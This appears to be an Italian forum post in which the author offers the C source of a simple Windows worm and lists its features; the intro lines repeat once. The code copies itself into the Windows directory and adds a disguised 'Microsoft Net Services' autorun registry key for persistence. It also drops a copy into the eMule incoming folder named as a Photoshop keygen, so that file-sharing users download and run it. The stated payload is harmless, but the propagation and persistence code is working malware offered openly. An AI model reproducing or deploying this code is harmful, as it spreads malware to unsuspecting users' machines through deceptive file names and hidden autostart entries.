[align=center][size=xx-large]Basiliar Worm[/size][/align]
[align=right]by kr1pn05[/align]
Il mio obiettivo non è creare un nuovo beagle o mydoor, ma un semplice worm con le seguenti feature
Azione malevole: Scrive ciao mondo! xD
[align=right]by kr1pn05[/align]
Il mio obiettivo non è creare un nuovo beagle o mydoor, ma un semplice worm con le seguenti feature
- Crea la cartella Cwindir\Netinit
- Si copia dentro con il nome NetINIT.EXE
- Scrive alcune chiavi nel registro per rassicurarsi l'eseguzione automatica
- Si copia dentro incoming con il nome keygen photoshop cs3.exe
Codice:
/*
*****************************************
* Powered By Kr1pn05 *
* MomoWorM *
* Versione Nuova,riscritto da 0 *
*****************************************
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <windows.h>
#include <mapi.h>
// Inclusioni standart
int install()
{
/* elenco variabili
path: percorso del programma
windir: Directory di windows
target: Destinazione della copia
newdir: Serve per la creazione delle directory
*/
// Runtime installante
// Controlla firma
char path[256];
char windir[MAX_PATH];
char target[MAX_PATH];
char newdir[MAX_PATH] = "mkdir ";
char emuledir[255] = "C:\\Programmi\\eMule\\incoming\\keygen photoshop CS3.exe";
char buffer[255];
char buffer2[255];
// Prendo le varie dir
GetWindowsDirectory(windir, sizeof(windir));
HMODULE hMe = GetModuleHandle(NULL);
DWORD nRet = GetModuleFileName(hMe, path, 256);
// Creo le cartelle
strcpy(target, windir);
strcat(target, "\\Netinit");
strcat(newdir,target);
system(newdir);
strcat(target,"\\NetINIT.EXE");
sprintf(buffer,"copy \"%s\" \"%s\"",path,target);
system(buffer);
// Scrittura nel registro
HKEY software;
HKEY key;
RegCreateKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\",&software);
RegCreateKey(software,"RunServices",&key);
RegSetValueEx(key,"Microsoft Net Services",NULL,REG_SZ,(LPBYTE)target,60);
RegCloseKey(key);
RegCloseKey(software);
sprintf(buffer2,"copy \"%s\" \"%s\"",target, emuledir);
system(buffer2);
}
int main()
{
install();
printf("Ciao\n");
system("pause");
}